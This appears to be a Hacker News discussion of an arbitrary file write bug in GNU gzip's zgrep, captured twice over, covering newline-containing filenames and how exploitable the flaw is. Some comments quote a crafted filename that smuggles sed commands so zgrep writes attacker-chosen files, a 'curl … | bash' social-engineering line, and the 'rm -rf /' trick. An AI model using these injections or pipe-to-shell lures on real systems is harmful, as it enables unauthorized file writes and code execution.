8 ms·

Arbitrary file write vulnerability in GNU gzip's zgrep utility

152 points by perihelions 5y ago

belltaco 5y ago
.
- pixl97 5y ago
  I'm sure there's a lot of linux closed source utilities that will break in the same or worse manners. The problem will never be found there. The issue with finding flaws in source is it takes a massive amount of logical thought about what inputs are possible. For example a new line is valid in a linux file name, but I've never legitimately used one, or do I believe I've even seen one in the last 25 years of using Linux.
  - scottlamb 5y ago
    > For example a new line is valid in a linux file name, but I've never legitimately used one, or do I believe I've even seen one in the last 25 years of using Linux. Likewise. I wonder if SELinux or AppArmor or the like allows setting a policy for valid filenames to create. E.g. no newlines, only valid UTF-8, only printable characters.
    - zeroimpl 5y ago
      I’d like to see a flag somewhere to enable this. Perhaps it is a filesystem flag, similar to case-sensitivity.
  - eichin 5y ago
    I've seen them (specifically, filenames generated from values in a "modern" configuration language - json or yaml - that mistakenly had newlines in them.) Fortunately, most of the shell tools involved used `-print0` and the related options anyway (because once you have humans involved, it's the easy way to handle normal spaces in names) and the things that did break, where only "some low-value data processing got skipped" rather than anything harmful.
mikece 5y ago
"This flaw occurs due to insufficient validation when processing filenames with two or more newlines where selected content and the target file names are embedded in crafted multi-line file names." Perhaps I don't get this because I have used Windows most of my life (and DOS before that) but is it valid to have newline characters in a Unix/Linux filename?
- i80and 5y ago
  Unix filesystems can typically have filenames containing any bytes except "\0" and "/". I believe you can also have newline characters in NTFS, although Windows Explorer appears to prevent creating a file with them.
  - mcculley 5y ago
    I have been using the filename "meeting-notes:10/1 \n Unix & Windows.txt" to test various apps. It tends to expose just how brittle modern computing still is.
    - benibela 5y ago
      I made a whole collection: https://github.com/benibela/nasty-files https://github.com/benibela/nasty-files
      - asddubs 5y ago
        "--no-preserve-root" made me laugh. for testing unescaped calls to rm?
        jamal-kumar 5y ago
        It's a bypass against a mitigation for an old trick which worked back in the day where you could watch someone self-nuke themselves off of IRC by convincing them to type rm -rf /
        benibela 5y ago
TheDong 5y ago
The commit fixing this bug is here: https://git.savannah.gnu.org/cgit/gzip.git/commit/?id=dc9740df61e575e8c3148b7bd3c147a81ea00c7c https://git.savannah.gnu.org/cgit/gzip.git/commit/?id=dc9740... while grep is written in C, zgrep is written in posix sh, and the bug was from using sed to escape arguments, and sed being a line-oriented utility that is non-ideal for operating on newline-containing strings (i.e. linux filenames).
- nikonyrh 5y ago
  This reminds me that filenames can contain newlines.
  - tomrod 5y ago
    D:
  - guipsp 5y ago
    And nulls :)
    - hddqsb 5y ago
      How exactly can they contain nulls? fopen() takes a null-terminated filename, so if there is a null byte in the middle it would just truncate the filename.
      - minusf 5y ago
        that might be a corrupt filename that can be opened only by its inode in debugfs or similar.
    - teddyh 5y ago
      No they can’t.
  - 10000truths 5y ago
    They can contain any octet except ASCII NUL and /. That said, pretty much every filesystem's on-disk format has an explicit length field for file names. So in theory, there's nothing stopping them from supporting completely binary filenames - it's the kernel's VFS layer that treats NUL and / as special.
josephcsible 5y ago
When is this actually exploitable? Are there any common programs or setups that result in zgrep getting called on attacker-provided filenames?
- hsbauauvhabzb 5y ago
  Given infinite code, yes. I would imagine exploitability would be rare, but that it’s easier to fix the vulnerability and move on rather than care about whether or not things are affected.
- TheDong 5y ago
  The exploit would have to be a bit contrived. There aren't, to my knowledge, common programs or setups that would cause this to matter. This would probably be used for social engineering at best, where the attacker convinces a victim to "hey, git clone my repo, and then run zgrep "bad string" * for some contrived reason" Someone who's trying to assist someone else on discord or whatever probably won't consider running "zgrep" in an attacker controlled directory dangerous, so they might do it, while if the attacker said "I need help, curl https://my-site.com https://my-site.com | bash to repro", the victim would absolutely not do it.
  - AnotherGoodName 5y ago
    The thing i don't get is the statement "Attack Vector Network" in the advisory as well at the statement it allows a remote attacker to write files. I don't understand the bar to be called a Network Attack Vector. Surely there's more to this than asking the user to run shell commands right?
    - cjbprime 5y ago
      It sounds like if a web service allowed a user to upload a file with attacker-chosen filename, which it will then run zgrep on, it would be vulnerable. Perhaps that's why?
  - oefrha 5y ago
    > while if the attacker said "I need help, curl https://my-site.com https://my-site.com | bash to repro", the victim would absolutely not do it. You’d be surprised. I wrote a Postfix tutorial ages ago and left my real email address in the To: of an example test email. I subsequently got a lot of emails from root@s with the exact same title and body over the years. Too many people copy paste anything labeled as instruction without a second thought.
develatio 5y ago
A very odd coincidence that just a few hours ago there was another news about a 0day in another de/compressor: https://news.ycombinator.com/item?id=31070256 https://news.ycombinator.com/item?id=31070256
- motohagiography 5y ago
  Rarely am I a commenter of so few words but, here be dragons.
timdoug 5y ago
This one's pretty cool, example below per gzip-1.12/tests/zgrep-abuse: timdoug@box:~/gzip$ ls timdoug@box:~/gzip$ touch z timdoug@box:~/gzip$ echo test | gzip > 'z| p 1s|.*|chosen-content| 1w hacked etouch .\x2fhacked2 d # #' timdoug@box:~/gzip$ zgrep test z* ztest timdoug@box:~/gzip$ ls hack* hacked hacked2 timdoug@box:~/gzip$ cat hacked chosen-content timdoug@box:~/gzip$
- Beltiras 5y ago
  Thanks for this! Simple enough to type out even.
mc4ndr3 5y ago
Why does a search tool even need to open a writable file handle?
- opencl 5y ago
  It's for searching inside of compressed files, and does this by decompressing to a temporary directory.
  - deathanatos 5y ago
    … that is also shocking… it wouldn't just stream the decompression, perhaps piping the decompressed stream into grep itself?
    - TheDong 5y ago
      zgrep does stream directly from gzip into grep. You can see that here: https://git.savannah.gnu.org/cgit/gzip.git/tree/zgrep.in?id=dc9740df61e575e8c3148b7bd3c147a81ea00c7c#n204 https://git.savannah.gnu.org/cgit/gzip.git/tree/zgrep.in?id=... It's also mentioned in one of the few comments in zgrep: https://git.savannah.gnu.org/cgit/gzip.git/tree/zgrep.in?id=dc9740df61e575e8c3148b7bd3c147a81ea00c7c#n116 https://git.savannah.gnu.org/cgit/gzip.git/tree/zgrep.in?id=... > we use stdin to pass the gzip output to grep zgrep does create a temporary directory to store the grep search pattern, but only if the pattern is passed via `zgrep -f`, and only if the pattern passed in is not a regular file (i.e. `zgrep -f <(echo "foo") some_file.gz` would create a temporary file with the contents "foo", not with the contents of some_file.gz, and `zgrep -f pattern_file search_file.gz` would not create any temporary file)
staunch 5y ago
This doesn't even seem like a legitimate security vulnerability at all, just a generic behavior bug. I'm guessing there are countless bugs like this in a common Linux userland. I'd argue that the security vulnerability only exist in any program which passes untrusted user input to zgrep, which would be an obviously insecure thing to do. Unless zgrep claims its safe against untrusted user input? But that would be weird and surprising.
- TheDong 5y ago
  16 years ago, there was a bug reported to zgrep where files with 1 newline caused it to behave incorrectly. It was patched without a CVE https://git.savannah.gnu.org/cgit/gzip.git/commit/zgrep.in?id=a7528501d19c16640044bc0ff86a6eab8d4d637b https://git.savannah.gnu.org/cgit/gzip.git/commit/zgrep.in?i... This year, there was a bug reported to zgrep where files with 2 newlines caused it to behave incorrectly. It got a CVE and a front page hacker news post. I give it very good odds this vulnerability has seen next to zero exploitation in the wild in either of the two cases above.
  - bombcar 5y ago
    So we’re 16 years out from the three new line bug.
    - _Algernon_ 5y ago
      https://xkcd.com/605/ https://xkcd.com/605/
xarope 5y ago
My epiphany was using find | xargs and realizing I need -print0 for the former and -0 for the latter to handle special characters. Then I realized all my previous bash scripts were WRONG...
- aaaaaaaaaaab 5y ago
  Zero-delimited versions of common bash tools/idioms: xargs -0 find ... -print0 sort -z while IFS= read -r -d '' var; do ...; done env -0 printf -- '%s\0' *
  - nieve 5y ago
    Don't you mean ascii null, not zero?
    - kevin_thibedeau 5y ago
      Don't you mean NUL, not null?
jonathannerat 5y ago
Is there any real use case of having filenames with newlines? Everytime I recall that we have to design programs around that I wonder why it's possible in the first place.
- deleted 5y ago
  [deleted]
- dataflow 5y ago
  Linux even allows filenames with end-of-transmission characters in them, which is a choice I'd question long before I start questioning newlines!
  - gpvos 5y ago
    EOT or ctrl-D only has significance when typed into a tty. Once it has turned into a character it is as harmless as any other byte value, it doesn't end anything by itself.
    - dataflow 5y ago
      I'm aware, but it nevertheless doesn't make any sense to have it in a file name.
      - gpvos 5y ago
        I'm just saying that it makes exactly as much sense as ctrl-E or any other control char, it has no special status.
        dataflow 5y ago
        There are quite a few ASCII control characters [1] that could make more sense than EOT, e.g., \t, \n, \e, etc. But yes, EOT is not the only nonsensical character that you could put in a file name, and I never claimed such. [1] https://en.wikipedia.org/wiki/Control_character#In_ASCII https://en.wikipedia.org/wiki/Control_character#In_ASCII

152 points by perihelions 5y ago

pixl97 5y ago
I'm sure there's a lot of linux closed source utilities that will break in the same or worse manners. The problem will never be found there. The issue with finding flaws in source is it takes a massive amount of logical thought about what inputs are possible. For example a new line is valid in a linux file name, but I've never legitimately used one, or do I believe I've even seen one in the last 25 years of using Linux.
- scottlamb 5y ago
  > For example a new line is valid in a linux file name, but I've never legitimately used one, or do I believe I've even seen one in the last 25 years of using Linux. Likewise. I wonder if SELinux or AppArmor or the like allows setting a policy for valid filenames to create. E.g. no newlines, only valid UTF-8, only printable characters.
  - zeroimpl 5y ago
    I’d like to see a flag somewhere to enable this. Perhaps it is a filesystem flag, similar to case-sensitivity.
- eichin 5y ago
  I've seen them (specifically, filenames generated from values in a "modern" configuration language - json or yaml - that mistakenly had newlines in them.) Fortunately, most of the shell tools involved used `-print0` and the related options anyway (because once you have humans involved, it's the easy way to handle normal spaces in names) and the things that did break, where only "some low-value data processing got skipped" rather than anything harmful.

"This flaw occurs due to insufficient validation when processing filenames with two or more newlines where selected content and the target file names are embedded in crafted multi-line file names." Perhaps I don't get this because I have used Windows most of my life (and DOS before that) but is it valid to have newline characters in a Unix/Linux filename?

i80and 5y ago
Unix filesystems can typically have filenames containing any bytes except "\0" and "/". I believe you can also have newline characters in NTFS, although Windows Explorer appears to prevent creating a file with them.
- mcculley 5y ago
  I have been using the filename "meeting-notes:10/1 \n Unix & Windows.txt" to test various apps. It tends to expose just how brittle modern computing still is.
  - benibela 5y ago
    I made a whole collection: https://github.com/benibela/nasty-files https://github.com/benibela/nasty-files
    - asddubs 5y ago
      "--no-preserve-root" made me laugh. for testing unescaped calls to rm?
      - jamal-kumar 5y ago
        It's a bypass against a mitigation for an old trick which worked back in the day where you could watch someone self-nuke themselves off of IRC by convincing them to type rm -rf /
      - benibela 5y ago

TheDong 5y ago

The commit fixing this bug is here: https://git.savannah.gnu.org/cgit/gzip.git/commit/?id=dc9740df61e575e8c3148b7bd3c147a81ea00c7c https://git.savannah.gnu.org/cgit/gzip.git/commit/?id=dc9740... while grep is written in C, zgrep is written in posix sh, and the bug was from using sed to escape arguments, and sed being a line-oriented utility that is non-ideal for operating on newline-containing strings (i.e. linux filenames).

nikonyrh 5y ago
This reminds me that filenames can contain newlines.
- tomrod 5y ago
  D:
- guipsp 5y ago
  And nulls :)
  - hddqsb 5y ago
    How exactly can they contain nulls? fopen() takes a null-terminated filename, so if there is a null byte in the middle it would just truncate the filename.
    - minusf 5y ago
      that might be a corrupt filename that can be opened only by its inode in debugfs or similar.
  - teddyh 5y ago
    No they can’t.
- 10000truths 5y ago
  They can contain any octet except ASCII NUL and /. That said, pretty much every filesystem's on-disk format has an explicit length field for file names. So in theory, there's nothing stopping them from supporting completely binary filenames - it's the kernel's VFS layer that treats NUL and / as special.

josephcsible 5y ago

When is this actually exploitable? Are there any common programs or setups that result in zgrep getting called on attacker-provided filenames?

hsbauauvhabzb 5y ago
Given infinite code, yes. I would imagine exploitability would be rare, but that it’s easier to fix the vulnerability and move on rather than care about whether or not things are affected.
TheDong 5y ago
The exploit would have to be a bit contrived. There aren't, to my knowledge, common programs or setups that would cause this to matter. This would probably be used for social engineering at best, where the attacker convinces a victim to "hey, git clone my repo, and then run zgrep "bad string" * for some contrived reason" Someone who's trying to assist someone else on discord or whatever probably won't consider running "zgrep" in an attacker controlled directory dangerous, so they might do it, while if the attacker said "I need help, curl https://my-site.com https://my-site.com | bash to repro", the victim would absolutely not do it.
- AnotherGoodName 5y ago
  The thing i don't get is the statement "Attack Vector Network" in the advisory as well at the statement it allows a remote attacker to write files. I don't understand the bar to be called a Network Attack Vector. Surely there's more to this than asking the user to run shell commands right?
  - cjbprime 5y ago
    It sounds like if a web service allowed a user to upload a file with attacker-chosen filename, which it will then run zgrep on, it would be vulnerable. Perhaps that's why?
- oefrha 5y ago
  > while if the attacker said "I need help, curl https://my-site.com https://my-site.com | bash to repro", the victim would absolutely not do it. You’d be surprised. I wrote a Postfix tutorial ages ago and left my real email address in the To: of an example test email. I subsequently got a lot of emails from root@s with the exact same title and body over the years. Too many people copy paste anything labeled as instruction without a second thought.

develatio 5y ago

A very odd coincidence that just a few hours ago there was another news about a 0day in another de/compressor: https://news.ycombinator.com/item?id=31070256 https://news.ycombinator.com/item?id=31070256

motohagiography 5y ago
Rarely am I a commenter of so few words but, here be dragons.

timdoug 5y ago

This one's pretty cool, example below per gzip-1.12/tests/zgrep-abuse: timdoug@box:~/gzip$ ls timdoug@box:~/gzip$ touch z timdoug@box:~/gzip$ echo test | gzip > 'z| p 1s|.*|chosen-content| 1w hacked etouch .\x2fhacked2 d # #' timdoug@box:~/gzip$ zgrep test z* ztest timdoug@box:~/gzip$ ls hack* hacked hacked2 timdoug@box:~/gzip$ cat hacked chosen-content timdoug@box:~/gzip$

Beltiras 5y ago
Thanks for this! Simple enough to type out even.

mc4ndr3 5y ago

Why does a search tool even need to open a writable file handle?

opencl 5y ago
It's for searching inside of compressed files, and does this by decompressing to a temporary directory.
- deathanatos 5y ago
  … that is also shocking… it wouldn't just stream the decompression, perhaps piping the decompressed stream into grep itself?
  - TheDong 5y ago
    zgrep does stream directly from gzip into grep. You can see that here: https://git.savannah.gnu.org/cgit/gzip.git/tree/zgrep.in?id=dc9740df61e575e8c3148b7bd3c147a81ea00c7c#n204 https://git.savannah.gnu.org/cgit/gzip.git/tree/zgrep.in?id=... It's also mentioned in one of the few comments in zgrep: https://git.savannah.gnu.org/cgit/gzip.git/tree/zgrep.in?id=dc9740df61e575e8c3148b7bd3c147a81ea00c7c#n116 https://git.savannah.gnu.org/cgit/gzip.git/tree/zgrep.in?id=... > we use stdin to pass the gzip output to grep zgrep does create a temporary directory to store the grep search pattern, but only if the pattern is passed via `zgrep -f`, and only if the pattern passed in is not a regular file (i.e. `zgrep -f <(echo "foo") some_file.gz` would create a temporary file with the contents "foo", not with the contents of some_file.gz, and `zgrep -f pattern_file search_file.gz` would not create any temporary file)

staunch 5y ago

This doesn't even seem like a legitimate security vulnerability at all, just a generic behavior bug. I'm guessing there are countless bugs like this in a common Linux userland. I'd argue that the security vulnerability only exist in any program which passes untrusted user input to zgrep, which would be an obviously insecure thing to do. Unless zgrep claims its safe against untrusted user input? But that would be weird and surprising.

TheDong 5y ago
16 years ago, there was a bug reported to zgrep where files with 1 newline caused it to behave incorrectly. It was patched without a CVE https://git.savannah.gnu.org/cgit/gzip.git/commit/zgrep.in?id=a7528501d19c16640044bc0ff86a6eab8d4d637b https://git.savannah.gnu.org/cgit/gzip.git/commit/zgrep.in?i... This year, there was a bug reported to zgrep where files with 2 newlines caused it to behave incorrectly. It got a CVE and a front page hacker news post. I give it very good odds this vulnerability has seen next to zero exploitation in the wild in either of the two cases above.
- bombcar 5y ago
  So we’re 16 years out from the three new line bug.
  - _Algernon_ 5y ago
    https://xkcd.com/605/ https://xkcd.com/605/

xarope 5y ago

My epiphany was using find | xargs and realizing I need -print0 for the former and -0 for the latter to handle special characters. Then I realized all my previous bash scripts were WRONG...

aaaaaaaaaaab 5y ago
Zero-delimited versions of common bash tools/idioms: xargs -0 find ... -print0 sort -z while IFS= read -r -d '' var; do ...; done env -0 printf -- '%s\0' *
- nieve 5y ago
  Don't you mean ascii null, not zero?
  - kevin_thibedeau 5y ago
    Don't you mean NUL, not null?

jonathannerat 5y ago

Is there any real use case of having filenames with newlines? Everytime I recall that we have to design programs around that I wonder why it's possible in the first place.

deleted 5y ago
[deleted]
dataflow 5y ago
Linux even allows filenames with end-of-transmission characters in them, which is a choice I'd question long before I start questioning newlines!
- gpvos 5y ago
  EOT or ctrl-D only has significance when typed into a tty. Once it has turned into a character it is as harmless as any other byte value, it doesn't end anything by itself.
  - dataflow 5y ago
    I'm aware, but it nevertheless doesn't make any sense to have it in a file name.
    - gpvos 5y ago
      I'm just saying that it makes exactly as much sense as ctrl-E or any other control char, it has no special status.
      - dataflow 5y ago
        There are quite a few ASCII control characters [1] that could make more sense than EOT, e.g., \t, \n, \e, etc. But yes, EOT is not the only nonsensical character that you could put in a file name, and I never claimed such. [1] https://en.wikipedia.org/wiki/Control_character#In_ASCII https://en.wikipedia.org/wiki/Control_character#In_ASCII